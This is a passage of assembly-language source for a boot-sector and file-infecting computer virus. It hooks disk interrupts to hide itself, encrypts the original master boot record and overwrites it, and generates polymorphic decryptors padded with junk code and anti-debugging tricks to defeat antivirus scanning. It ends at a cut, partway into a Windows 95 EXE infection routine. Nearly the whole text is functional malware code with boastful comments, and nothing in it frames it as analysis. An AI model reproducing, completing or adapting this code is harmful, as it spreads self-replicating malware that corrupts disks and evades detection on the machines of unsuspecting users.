Sector_3: ; Ok, we are now outta that 7c00h...
Int13h_relo equ int13h-(MBR_start-virus_starts)
xor ax,ax
mov ds,ax
mov si,004ch
lea di,Int13h_relo
movsw ; movsd
movsw
; Relocate int 13h jump
mov word ptr cs:[cal-(MBR_start-virus_starts)],offset Int13h_relo
cli
mov word ptr ds:[004ch],offset (Int13_h-(MBR_start-virus_starts))
mov ax,cs
mov word ptr ds:[004eh],ax ; Set new int13h
sti
mov dl,80h
int 19h ; Boot: stealth will do
Int13_h: ; Int13h handler
cmp eax,"_POT"
jz @Dissapear
cmp ah,02h
jz Stealth_read
jmpto: db 0eah
Int13h: dw 0,0
ret
call13h:
pushf
call dword ptr cs:[int13h]
cal equ $-2
ret
@Dissapear:
mov eax,"ALSO" ; %-)
push dx cx
retf
Stealth_read:
cmp dx,0080h
jnz jmpto
cmp cx,1
jne jmpto
call call13h ; Make read
push si ax cx
mov ax,0201h
mov cl,2h
call call13h ; First sector read is now partition table.
mov cx,512d
mov si,bx
mov al,0
Part_enc equ $-1
Decrypt_MBR:
xor byte ptr es:[si],al
inc si
loop Decrypt_MBR
pop cx ax si;
retf 2 ; Return to host
Stupid_message:
db 'Welcome to my world, adventurer. Follow me.'
Boot_up_end label byte
db 055h,0aah
; END OF MBR SECTOR
MBR_Infection: ; ES is set to old copy in file/mem
; BX is set then to the MBR_start there
mov dx,0281h
mov ax,dx
xor cx,cx
add bx,offset MBR_start
mov si,bx
add ax,0ff80h
xor dx,ax
inc cx
int 13h
jc Abort_MBR
in al,40h
mov cx,512d
push cx
mov byte ptr cs:[Part_enc],al
Encrypt_MBR:
xor byte ptr es:[si],al
inc si
loop Encrypt_MBR
pop cx
sub cx,510d
mov ax,dx
add ax,282h ; Save MBR in sector two
int 13h
jc Abort_MBR
push dx
call GROG ; Gory Ruthless Opcode Generator
pop dx
mov ax,1
mov cx,ax
lea bx,MBR_start ; Write new MBR and fuck up old one
sub ax,0fd00h
int 13h
jc Abort_MBR
lea di,MBR_Bootup ; Optimizar
lea si,_stack
mov cx,Boot_up_end-MBR_Bootup
rep movsb
mov ds,cx ; ds = 0
mov si,4ch
lea di,int13h
movsw
movsw
cli
mov word ptr ds:[004ch],offset Int13_h
mov ax,cs
mov word ptr ds:[004eh],ax ; Set new int13h
sti
Abort_MBR:
ret
MBR_end label byte
MBR_module_size equ MBR_end-MBR_start
;(*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*)
;(* Gory Ruthless Opcode Generator [GROG] *)
;(*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*)
;
;
;
; Parameters:
;
; DX = Decryptor length
; ES:DI = Buffer to make decryptor ( followed by boot-up code )
; DS:SI = Going-to-crypt code
; CX = Length of encrypted zone
;
;
;
GROG:
push cs cs
pop ds es
lea si,MBR_Bootup
lea di,_stack
mov cx,Boot_up_end-MBR_Bootup
rep movsb
lea di,MBR_Real_Start+151d
dec_1_length equ 512d-(boot_up_end-MBR_bootup)
lea si,MBR_Bootup
mov cx,Boot_up_end-MBR_Bootup
mov word ptr cs:[boot_decr_offset],offset boot_decr_inst
mov byte ptr cs:[do_crypt_inst],05h
mov byte ptr cs:[remaining],dec_1_length-153d
mov word ptr cs:[@place_to],07c00h+(dec_1_length-(02d))
push di ds
call real_poly
pop ds si
lea di,MBR_real_start+1
mov cx,512d-153d
mov word ptr cs:[boot_decr_offset],offset boot_decr_inst
mov byte ptr cs:[do_crypt_inst],05h
mov byte ptr cs:[remaining],150d
mov word ptr cs:[@place_to],7c00h+151d
call real_poly
ret
;*-*-*-*-*-*-*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*-*-*-*-*-*-*-
;*-*-*-*-*-*-*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*-*-*-*-*-*-*-
real_poly:
; First of all, encrypt.
encrypt:
push cx
xor bx,bx
xor ax,ax
in al,40h
mov cl,3
div cl
add bl,ah
xor ax,ax
add bx,offset crypts
xlat
mov byte ptr cs:[Encrypt_kind],al ; Al has the byte which
;determines kind of encryption
sub al,4
cmp al,30h ; Select which decryption to use
jz do_cryptor_b
xor al,28h ; Swap add/sub
do_cryptor_b:
pop cx
mov byte ptr cs:[mode],al
in al,40h
mov byte ptr cs:[Crypt_value],al
do_cryptor:
db 02eh ; cs:
mode: db 30h,04h ; xor [si],al
inc si
loop do_cryptor
;***************************************************************************
; Finished crypting. Fun starts :)
;***************************************************************************
@switchSiDi: ; Switches SI and DI in decryptor
mov bl,2
div bl
dec ah
mov bl,0beh
jz @switch
inc byte ptr cs:[encrypt_kind]
inc bl
@switch:
mov byte ptr cs:[boot_decr_inst],bl
sub bl,78h ; inc si=46h, di=47h
mov byte ptr cs:[Incer],bl
sub bl,0ah ; si=3ch, di=3dh
mov byte ptr cs:[SiInCmp],bl
push cs
pop ds
in al,40h ; Random
push ax ; fix
;(*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*)
;(* Main Polymorphic engine *)
;(*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*)
Main_poly: ; ES:DI where to put it
pop ax ; Fix the push before
mov bl,6d ; kinda instructions
call get_random ; => bl limit, number before
; => bx random number
; Go to instruction kind depending on table
push ax
mov dl,byte ptr cs:[remaining]
mov al,byte ptr cs:[do_crypt_inst]
cbw ; force decryptor if necessary
div dl
cmp al,22d ; for 150d
ja @Non_need_to_force
cmp byte ptr cs:[do_crypt_inst],1
jz @Non_need_to_force
xor ax,ax
@Non_need_to_force:
cmp dl,04h
ja @Non_ending
xor bx,bx
dec dl
jz @Make_us_one
dec dl
jz @Make_us_two
dec dl
jz @Make_us_three
@Make_us_four:
inc bl
@Make_us_two:
inc bl
@Make_us_three:
inc bl
inc bl
@Make_us_one:
inc bl
@Non_ending:
lea si,generator_table1
shl bx,1
add si,bx ; Points to an instruction kind
lodsw ; Al, number of table entries
mov si,ax
; We've got in SI the InstructionKind table beggining offset
lodsb ; Number of bytes
mov bl,al ; Now in bl ( limit )
pop ax
call get_random ; Gets another random number
push ax bx ;for non-losing the number in the table
;and have last random in the beggining
lodsb ; fixed block instructions length
or al,al ; 0h tells decryptor instructions
jz Make_decryptor_inst
mov byte ptr cs:[random_make],0h ; Initialize random_make
inc al
jnz @No_parameters
lodsb ; random number length
mov byte ptr cs:[random_make],al ; In random_make
lodsb
inc al ; Fix
@No_parameters:
dec al
xor cx,cx
add cl,al ; To see how many bytes will copy
pop bx ; BX = instr number, CX = number of bytes
push cx
@add_cx:
add si,bx ; Now it has an instruction kind caught
loop @add_cx ;in DS:SI
pop cx ; And CX is it's bytes number
sub byte ptr cs:[remaining],cl ; Subs the number of copied bytes
rep movsb
xor cx,cx
mov cl,byte ptr cs:[random_make]
or cl,cl
jz @non_random_use
pop ax
mov bx,0abcdh
add ax,bx
ror ax,4h
call get_random ; Random number in AX for instruction
push ax
@Store_random:
stosb
dec byte ptr cs:[remaining]
mov al,ah
loop @Store_random
@non_random_use:
cmp byte ptr cs:[remaining],0
jz @@finished
jmp Main_poly
;(*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*)
; Makes a decryptor instruction on it
;(*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*)
Make_decryptor_inst:
pop bx
dec si
dec si
push si
dec byte ptr cs:[si]
lodsb
jz @no_more_dec ; 5:4:3:2:1 -> 6§ change ( =1 ), bye
cmp al,03h ; Check to make correct jnz
jnz @non_op_dec ;storing the relative offset
mov dl,byte ptr cs:[remaining]
add dl,7d
mov byte ptr cs:[offset_codify],dl
@non_op_dec:
cmp al,01h
jnz @non_jnz
mov dl,00h
sub dl,byte ptr cs:[offset_codify]
add dl,byte ptr cs:[remaining]
mov byte ptr cs:[Where_junz],dl
@non_jnz:
pop bx ; Fix
inc si ; We make it point where we need, beginning bytes
mov bx,4d
xor ah,ah
sub bl,al
add si,bx ; Position in bytes number
lodsb ;AL number of bytes
mov si,word ptr cs:[boot_decr_offset] ; instruction to send
xor cx,cx
mov cl,al ; times to write
add word ptr cs:[boot_decr_offset],cx
sub byte ptr cs:[remaining],cl
rep movsb ; copy the instruction
cmp byte ptr cs:[remaining],0
jnz @dece
@@finished:
pop ax
ret
@no_more_dec:
pop si
inc byte ptr cs:[si]
@dece:
jmp Main_Poly
; XOR BYTE PTR [XXXX],YY 80 36 XX XX YY
; SUB BYTE PTR [XXXX],YY 80 2E XX XX YY xor 28h
; ADD BYTE PTR [XXXX],YY 80 06 XX XX YY
generator_table1:
dw offset do_crypt_inst
dw offset do_operation_one_byte
dw offset do_push_pop
dw offset do_operation_random_bytes
dw offset do_operation_two_random
dw do_operation_two_two
do_crypt_inst:
db 04h ; Decryptor instruction number
db 00h ; Decryptor instruction kind
db 03h,04h,01h,07h ; lengths
do_operation_one_byte:
db end_1_byte-do_operation_one_byte-(02d)
db 01h
db 41h,42h,43h,44h,45h ; (incs) CX DX BX SP BP
db 49h,4ah,4bh,4ch,4dh ; (dec) CX DX BX SP BP
db 90h ; NOP
db 99h ; CWD
db 0f8h ; CLC
db 0f9h ; STC
end_1_byte label byte
do_push_pop:
db end_pushpop-do_push_pop-(02d)
db 01h
db 07h,017h,01fh ; POP
db 59h,5ah
db 5bh,5ch,5dh
end_pushpop label byte
do_operation_random_bytes:
db end_3_bytes-do_operation_random_bytes-(04d)
db 0ffh ; Register use
db 02h ; Random number length
db 01h ; Quantity of opcodes to copy from the table
db 0a9h ; Test ax,xxxx
db 0b9h,0bah,0bbh,0bch,0bdh
; Mov Cx,xxxx... Dx,Bx,Sp,Bp
end_3_bytes label byte
do_operation_two_random:
db end_2_rnd-do_operation_two_random-(04d)
db 0ffh ; Needs number
db 01h ; Random length
db 01h ; Number of opcodes
db 0a8h ; test al,xx
db 0b1h,0b2h,0b3h,0b5h,0b6h,0b7h ;mov: cl dl bl ch dh bh
end_2_rnd label byte
do_operation_two_two:
db (end_two_two-do_operation_two_two)/2-(04d)
db 0ffh ; Needs number
db 02h ; Random
db 02h ; Opcodes
db 08bh,01eh,08bh,02eh,08bh,0eh,08bh,09eh,08bh,0aeh ; mov reg,mem
db 08bh,026h,08bh,016h
end_two_two label byte
crypts:
db 34h,2ch,04h ; Last, kinda encryption
boot_decr_offset:
dw offset boot_decr_inst
remaining:
db ?
offset_codify:
db ?
boot_decr_inst: ; Can't touch SI, AX
; New example:
;
mov si,07c00h+512d-(boot_up_end-MBR_bootup)-2;200d+100h ; 1 byte instr, dos dir
@place_to equ $-2
db 02eh ; CS:
db 80h
db 34h ; Style ( with SI and AL )
db 00h ; Encryption value
Crypt_value equ $-1
Encrypt_kind equ $-2
Looping_Crypt equ $-3
Incer equ $
inc si
db 02eh ;cs:
cmp word ptr [si],0AA55h ; 55AAh
SiInCmp equ $-3 ; 3ch SI 3dh DI
jnz Looping_Crypt
Where_junz equ $-1
;
Random_make:
db 0
get_random:
ror ax,5h
xor ax,0ddddh
@Xor_random equ $-2
push ds
push 0
pop ds
add al,byte ptr ds:[413h]
pop ds
add word ptr cs:[@Xor_random],ax
sub ax,51h
push ax
xor ah,ah
div bl
xor bx,bx
mov bl,ah ; Pointer to tables
pop ax
ret
; Takhisis was known also as having a lot of faces, and that's the way
; the children and the mad, the only brave enough to pronounce her name,
; called her at Hylo.
;
RNME:
; The very first thingie is deciding if it will be xor, add
;or sub
; loop_dec + 2
; crypt_file
push cx
mov cl,30h
call aleatorio
and al,1
jz @crypt_with_xor
mov cl,00h
and ah,1
jz @crypt_with_xor
xor cl,28h
@crypt_with_xor:
mov byte ptr [crypt_file],cl
cmp cl,30h
jz @no_cambiar_crypt
xor cl,28h
@no_cambiar_crypt:
add cl,5
mov byte ptr [instrucciones+0ch],cl
pop cx
; Dx = Bp = start_crypt
; Cx = encryption length
mov word ptr [instrucciones+0fh],0e247h ; inc di/loop
in al,40h
mov byte ptr [encrypt_val],al
crypt_file:
xor byte ptr [bp],al
inc bp
loop crypt_file
mov byte ptr [instrucciones+05h],0b9h ; mov cx,xxxx
mov byte ptr [reentrant_flag],0
mov word ptr [bytes_referencia],0h
mov word ptr [restantes_poly],200h ; n.instr decryptor
mov byte ptr [numero_instruccion],4h ; n.util instrs
; This first part of the poly engine fills the blanks of the four blocks
;with random instructions
lea di,instrucciones+3h;Instruct_new+3h
two_times:
call aleatorio
and ah,1
jz two_of_one
call inst_2
jmp next_inst_gen
two_of_one:
call inst_1
inc di
call inst_1
next_inst_gen:
cmp di,( offset instrucciones+08h )
jae @di0dh
lea di,Instrucciones+08h
jmp two_times
@di0dh:
cmp di,( offset Instrucciones+12h )
ja @end_filling
lea di,Instrucciones+0eh
call inst_1
lea di,Instrucciones+12h
jmp two_times
@end_filling:
; This part exchanges 50% times Si and Di registers, which are used in
;the decryptor instructions
call aleatorio
and ah,1
mov byte ptr [instrucciones],0bfh
jz dontchangeem
mov byte ptr [instrucciones],0beh
dec byte ptr [instrucciones+0ch] ; encriptaci¢n
mov byte ptr [instrucciones+0fh],046h ; Para el Inc
dontchangeem:
; Depending on a random value, cx is obtained by the normal way ( mov cx, )
; or with a mov dx, register, mov cx,dx
call aleatorio
and ah,1
jz cx_acabado
cbw
and ah,1
jz siguiente_abajo
and al,1
jz con_bp_cx
mov byte ptr [instrucciones+05h],0bbh ; mov bx,xxxx
mov word ptr [instrucciones+08h],0d989h ; mov cx,bx
jmp cx_acabado
con_bp_cx:
mov byte ptr [instrucciones+05h],0bdh ; mov bp,xxxx
mov word ptr [instrucciones+08h],0e989h ; mov cx,bp
siguiente_abajo:
and al,1
jz cx_con_dx
mov byte ptr [instrucciones+05h],0b8h ; mov ax,xxxx
mov word ptr [instrucciones+08h],0c189h ; mov cx,ax
jmp cx_acabado
cx_con_dx:
mov byte ptr [instrucciones+05h],0bah ; mov dx,xxxx
mov word ptr [instrucciones+08h],0d189h ; mov cx,dx
cx_acabado:
; The modification of the instructions of the decryptor finishes here with
;all changes made: the originals are kept at the beggining of the virus in
;memory. The posible 'final loop' exchange is made when writing the
;decryptor
; Here begins the main zone of the code generator; where it's decided
;what generator to use and random instructions are copied at the
;decryptor.
mov di,virus_size+1
centro_poly:
mov ax,word ptr [restantes_poly] ; Remaining
mov cx,ax ;instructions number
and cx,cx
jnz sigamos_decriptor
jmp acabamos_decryptor ; Checks if finished
sigamos_decriptor:
cmp cx,@End_ant-ant_debug
jae @cont_decrr
cmp byte ptr [numero_instruccion],1
jz @@call_decryptgen
@cont_decrr: ; If we have 1, 2 or 3 bytes remaining
dec cx
jz @@call_inst_1
dec cx
jz @@call_inst_2
dec cx
jz @@call_inst_3
mov cx,80h ; 200h / 80h = 4
div cl
inc al
cmp byte ptr [numero_instruccion],al
ja @@call_decryptgen
cmp byte ptr[numero_instruccion],1
jnz @continuemos ; To avoid the loop from going
mov ax,di ;out of range
sub ax,word ptr [loop_site]
cmp ax,70h
jae @@call_decryptgen
cmp byte ptr [restantes_poly],10d
jbe @@call_decryptgen
@continuemos:
call aleatorio ; randomly, place 3 bytes instr,
and ah,1 ;2, routine...
jz @@trestipos
and al,1
jz @@call_inst_4
@@call_inst_1:
call inst_1
dec word ptr [restantes_poly]
inc di
jmp centro_poly
@@call_inst_4:
call inst_4
add di,4
sub word ptr [restantes_poly],4
jmp centro_poly
@@trestipos:
cbw
and ah,1
jz @@inst_2odec
and al,11b
jz @@call_sub
@@call_inst_3:
call inst_3
add di,3
sub word ptr[restantes_poly],3
jmp centro_poly
@@inst_2odec:
and al,111b ; Low probability
jnz @@call_inst_2
@@call_decryptgen:
call gen_instruction
jmp centro_poly
@@call_inst_2:
call inst_2
inc di
sub word ptr[restantes_poly],2
@fix1:
jmp centro_poly
@@call_sub:
cmp word ptr[restantes_poly],@End_ant-ant_debug
jb @fix1
call inst_5
add di,si
sub word ptr[restantes_poly],si ; Long non fixed size
jmp centro_poly ;routine
acabamos_decryptor:
ret
instrsize equ instr_end-instr_start
instr_start label byte
; Decryptor instructions list; divided into five-bytes blocks.
instrucciones:
mov di,0200h
Another_BP equ $-2
db 90h,90h ; variable ( junk gen )
;5
mov cx,virus_size
db 90h,90h
;A
loop_dec:
xor byte ptr cs:[di],00d
encrypt_val equ $-1
db 90h
;F
inc di
loop loop_dec
db 90h,90h
instr_end label byte
;*******************************************
; Decryptor values and data
;--------------------
Restantes_poly: dw 200h ; Remaining instructions counter
Numero_instruccion: db 4 ; Instruction number
num_aleat: dw 1250h ; Aleatory number counter
variable_inst: db 7h ; 0111b
loop_site: dw 0h ; Looping allocation Offset
bytes_referencia: dw 0h ; Reference for instructions
; This returns a random number in Ax after making some operations.
aleatorio:
mov ax,word ptr[num_aleat]
call aleat2
aleat2:
ror ax,5 ; The seed number is stablished in each
add ax,1531h ;infection by the date, and modified
push cx dx ax ;by the minutes ( but in Al, the less
mov ah,2ch ;used, to contribute to the slow poly )
int 21h ;and hour.
pop ax
add ah,ch
pop dx cx
rol ax,1
neg ax
sub ax,2311h
ror ax,3
not ax
mov word ptr[num_aleat],ax
ret
; Instructions generators: the required instructions are generated and
;copied in es:di, which points to the decryptor in memory
; Main generator: Copies a decryptor instruction in es:di, with special
;care for the final loop
gen_instruction:
mov al,byte ptr [numero_instruccion]
and al,al
jz @vasmosnos
dec al
jz @preparar_loop
dec al
jz @guardar_paraloop
@gen_ya:
dec byte ptr [numero_instruccion]
lea si,instrucciones
add si,word ptr [bytes_referencia]
add word ptr [bytes_referencia],5h
mov cx,5 ; copy the instruction
rep movsb
sub word ptr[restantes_poly],5h ; remaining instrs
@vasmosnos:
ret
@guardar_paraloop:
mov word ptr [loop_site],di
jmp @gen_ya
@preparar_loop:
mov ax,0fdh ; fc
mov si,di
mov cx,word ptr cs:[loop_site]
sub si,cx
sub ax,si
mov cx,word ptr [num_aleat]
and cl,1
jz @make_a_jnz
mov byte ptr [instrucciones+11h],al
jmp @gen_ya
@make_a_jnz:
mov word ptr [instrucciones+10h],7549h
dec ax
mov byte ptr [instrucciones+12h],al
push di
lea di, instrucciones+13h
call inst_1
pop di
jmp @gen_ya
; Generator ----> One byte length instructions generator
inst_1:
call aleatorio
and al,3h
jnz @cont_a1
mov byte ptr es:[di],90h
ret
@cont_a1:
and ah,1
jz @cont_a2
call aleatorio
and ah,1h
jz @cont_a2_2
and al,1h
jz @cont_a2_1_1
call aleatorio
and al,1h
jz @cont_a2_2_1
mov byte ptr es:[di],42h ; inc dx
ret
@cont_a2_2_1:
mov byte ptr es:[di],43h ; inc bx
ret
@cont_a2_1_1:
mov byte ptr es:[di],40h ; inc ax
ret
@cont_a2_2:
call aleatorio
and al,1h
jnz @cont_a2_2_2
mov byte ptr es:[di],48h ; dec ax
ret
@cont_a2_2_2:
and ah,1h
jz @cont_a2_2_2_2
mov byte ptr es:[di],4bh ; dec bx
ret
@cont_a2_2_2_2:
and al,1h
mov byte ptr es:[di],4ah ; dec dx
ret
@cont_a2:
call aleatorio
and al,3h
jz @cont_a2_11
and ah,3h
jz @cont_a2_12
call aleatorio
and al,3h
jz @cont_a2_2_11
and ah,3h
jz @cont_a2_2_12
call aleatorio
and al,1
jz @cont_a2_2_13
mov byte ptr es:[di],0cch ; int 3h
ret
@cont_a2_2_11:
mov byte ptr es:[di],9fh ; lahf
ret
@cont_a2_2_12:
mov byte ptr es:[di],99h ; cwd
ret
@cont_a2_2_13:
mov byte ptr es:[di],98h ; cbw
ret
@cont_a2_11:
mov byte ptr es:[di],0F9h ; stc
ret
@cont_a2_12:
mov byte ptr es:[di],0F8h ; clc
ret
; Generator ----> Two bytes length instructions
inst_2:
call aleatorio
and ah,1h
jz @cont_sub
cbw
and ah,1h
jz sigunvm
jmp @cont_xor
sigunvm:
jmp @cont_mul
@cont_sub:
mov byte ptr es:[di],2bh
inc di
cbw
and al,1
jz @cont_bsub_ax
and ah,1
jz @cont_bsub_dx
call aleatorio
and ah,1
jz @cont_bsub_bx_dxdisi
and al,1
jz @cont_bsub_bx_cx
mov byte ptr es:[di],0d8h ; sub bx,ax
ret
@cont_bsub_bx_cx:
mov byte ptr es:[di],0d9h ; sub bx,cx
ret
@cont_bsub_bx_dxdisi:
cbw
and ah,1
jz @cont_bsub_bx_dx
and al,1
jz @cont_bsub_bx_di
mov byte ptr es:[di],0deh ; sub bx,si
ret
@cont_bsub_bx_di:
mov byte ptr es:[di],0dfh ; sub bx,di
ret
@cont_bsub_bx_dx:
mov byte ptr es:[di],0dah ; sub bx,dx
ret
@cont_bsub_ax:
call aleatorio
and ah,1
jz @cont_bsub_ax_dxdisi
and al,1
jz @cont_bsub_ax_cx
mov byte ptr es:[di],0c3h ; sub ax,bx
ret
@cont_bsub_ax_cx:
mov byte ptr es:[di],0c1h ; sub ax,cx
ret
@cont_bsub_ax_dxdisi:
cbw
and ah,1
jz @cont_bsub_ax_dx
and al,1
jz @cont_bsub_ax_di
mov byte ptr es:[di],0c6h ; sub ax,si
ret
@cont_bsub_ax_di:
mov byte ptr es:[di],0c7h ; sub ax,di
ret
@cont_bsub_ax_dx:
mov byte ptr es:[di],0c2h ; sub ax,dx
ret
@cont_bsub_dx:
call aleatorio
and ah,1
jz @cont_bsub_dx_sidicx
and al,1
jz @cont_bsub_dx_bx
mov byte ptr es:[di],0d0h ; sub dx,ax
ret
@cont_bsub_dx_bx:
mov byte ptr es:[di],0d3h ; sub dx,bx
ret
@cont_bsub_dx_sidicx:
cbw
and ah,1
jz @cont_bsub_dx_cx
and al,1
jz @cont_bsub_dx_di
mov byte ptr es:[di],0d6h ; sub dx,si
ret
@cont_bsub_dx_di:
mov byte ptr es:[di],0d7h ; sub dx,di
ret
@cont_bsub_dx_cx:
mov byte ptr es:[di],0d1h ; sub dx,cx
ret
@cont_xor:
mov byte ptr es:[di],033h
inc di
call aleatorio
and ah,1
jz @cont_xor_4last
cbw
and ah,1
jz @cont_xor_34
and al,1
jz @cont_xor_2
mov byte ptr es:[di],0c0h ; xor ax,ax
ret
@cont_xor_2:
mov byte ptr es:[di],0c3h ; xor ax,bx
ret
@cont_xor_34:
and al,1
jz @cont_xor_4
mov byte ptr es:[di],0c2h ; xor ax,dx
ret
@cont_xor_4:
mov byte ptr es:[di],0dbh ; xor bx,bx
ret
@cont_xor_4last:
cbw
and ah,1
jz @cont_xor_78
and al,1
jz @cont_xor_6
mov byte ptr es:[di],0d8h ; xor bx,ax
ret
@cont_xor_6:
mov byte ptr es:[di],0dah ; xor bx,dx
ret
@cont_xor_78:
and al,1
jz @cont_xor_8
mov byte ptr es:[di],0d2h ; xor dx,dx
ret
@cont_xor_8:
mov byte ptr es:[di],0d0h ; xor dx,ax
ret
@cont_mul:
mov byte ptr es:[di],0f7h
inc di
call aleatorio
and ah,1
jz @cont_divmul_34
and al,1
jz @cont_divmul_2
mov byte ptr es:[di],0e3h ; mul bx
ret
@cont_divmul_2:
mov byte ptr es:[di],0e1h ; mul cx
ret
@cont_divmul_34:
and al,1
jz @cont_divmul_4
mov byte ptr es:[di],0e6h ; mul si
ret
@cont_divmul_4:
mov byte ptr es:[di],0e7h ; mul di
ret
; Generator ----> Three bytes long instructions
inst_3:
call aleatorio
mov si,ax
inc si ; We don't want a 0ffffh
jz inst_3
dec si
and ah,1
jz @add_or_sub_ax
and al,1
jz @mov_dx_inm
mov byte ptr es:[di],0bbh ; mov bx,reg
mov word ptr es:[di+1],si
ret
@mov_dx_inm:
mov byte ptr es:[di],0bah ; mov dx,reg
mov word ptr es:[di+1],si
ret
@add_or_sub_ax:
and al,1
jz @mov_mem_ax
mov byte ptr es:[di],05h ; add ax,reg
mov word ptr es:[di+1],si
ret
@mov_mem_ax:
mov byte ptr es:[di],0a1h ; mov ax,mem
mov word ptr es:[di+1],si
ret
; Generator ----> Four bytes instructions
inst_4:
call aleatorio
mov si,ax
inc si
jz inst_4
dec si
and ah,1
jz @q_seg_parte
cbw
and ah,1
jz @q_movdxobx
and al,1
jz @q_subbxfuck
cmp byte ptr [numero_instruccion],1 ; I don't want to
jz @q_subbxfuck ; make an Int21h about 7000 times <g>
call aleatorio
and ax,11b
add al,al
push si
lea si,@IntFunctions
add si,ax
lodsw
pop si
mov word ptr es:[di],ax ; Get drive function
mov word ptr es:[di+2],021cdh
ret
@IntFunctions:
dw 035b4h,052b4h,019b4h,062b4h
@q_subbxfuck:
mov word ptr es:[di],0eb81h
mov word ptr es:[di+2],si
ret
@q_movdxobx:
and al,1
jz @q_movdx_mem
mov word ptr es:[di],01e8bh
mov word ptr es:[di+2],si
ret
@q_movdx_mem:
mov word ptr es:[di],0168bh
mov word ptr es:[di+2],si
ret
@q_seg_parte:
cbw
and ah,1
jz @q_seg_sub
mov word ptr es:[di],0c281h
mov word ptr es:[di+2],si
and al,1
jz @nosvamos_4
inc byte ptr es:[di+1]
@nosvamos_4:
ret
@q_seg_sub:
mov word ptr es:[di],0ea81h
mov word ptr es:[di+2],si
and al,1
jz @nosvamos_41
inc word ptr es:[di+1]
@nosvamos_41:
ret
; Generator ----> More than 4 bytes routines
inst_5:
call aleatorio ; Anti-spectral routine,
and ah,1 ;generates a random value
jz @c_seg_parte ;after a cmp ax,ax/jz xxx
cbw
and al,1 ;that will never be executed:
jz @c_seg_prim ;'spectral' is a way of
mov word ptr es:[di],0c033h ;finding polymorphic viruses
mov word ptr es:[di+2],0274h;that checks for instructions
call aleatorio ;that aren't in the poly
mov word ptr es:[di+4],ax ;engine; if the instructions
mov si,06h ;are all of a fixed range,
ret ;the spectral identifies the
;poly engine.
@c_seg_prim:
and ah,1
jz @reentrant_calls
Etiketa:
mov word ptr es:[di],0f7fah ; Antidebugging routine
mov word ptr es:[di+2],0f7dch ;( cli, neg sp, neg sp,
mov word ptr es:[di+4],0fbdch ; sti )
mov si,06h
ret
@c_seg_parte:
cbw
and al,1
jz @c_seg_seg ; Anti-spectral
and ah,1
jz @reentrant_calls
mov word ptr es:[di],0ffb8h ; mov ax,0ffffh
mov word ptr es:[di+2],040ffh ; inc ax
mov word ptr es:[di+4],0274h ; jz seguimos
call aleatorio ; ( 2 crap bytes )
mov word ptr es:[di+6],ax
mov si,08h
ret
@c_seg_seg:
and ah,1
jz @make_dumb_jmp
lea si,ant_debug ; Antidebugging, the routine
mov cx,@End_ant-ant_debug ;placed near the beggining
push cx ;of Zohra
rep movsb
pop si
sub di,si
ret
@make_dumb_jmp:
mov bl,06h
call get_random
mov al,0ebh
mov ah,bl
stosw
xor cx,cx
mov cl,bl
mov si,2d
add si,cx
garbage_inside:
call aleatorio
stosb
loop garbage_inside
sub di,si
ret
ant_debug:
push ax ; Anti-debugging typical old boring
pop ax ;routine :-P.
dec sp
dec sp
pop bx
cmp ax,bx
jz @End_ant
mov ax,4c00h
int 21h
@End_ant:
reentrant_flag:
db 0
posicion_sub:
dw 0
@reentrant_calls:
dec byte ptr [reentrant_flag]
jz @make_call
cmp word ptr [restantes_poly],50d
jbe Etiketa
mov bl,20d
call get_random
add bx,5d ; At least inside = 5 bytes
mov al,0ebh
mov ah,bl
inc ah
xor cx,cx
mov cl,bl
push di
stosw ; The jump is stored
mov word ptr [posicion_sub],di
push cx
push word ptr [restantes_poly] ; Make a mini-poly :P
push word ptr [Numero_instruccion]
mov word ptr [restantes_poly],cx
mov word ptr [numero_instruccion],0
call centro_poly
pop word ptr [Numero_instruccion]
pop word ptr [restantes_poly]
mov al,0c3h
stosb
pop cx
add cx,3
mov si,cx
mov byte ptr [reentrant_flag],1
pop di
ret
@make_call:
push di
mov al,0e8h
stosb
mov ax,word ptr [posicion_sub] ; Operate call
sub ax,di
dec ax
dec ax
stosw
pop di
mov si,03h
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ; Windows 95 adapted shit
; W95 adapted shit
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
EXE_W95_Infect:
call front_door
dec si
cmp word ptr ds:[si-3],'XE'
jnz end_infection;@nah_fuck
xor bp,bp
; Attributes
mov ax,4300h
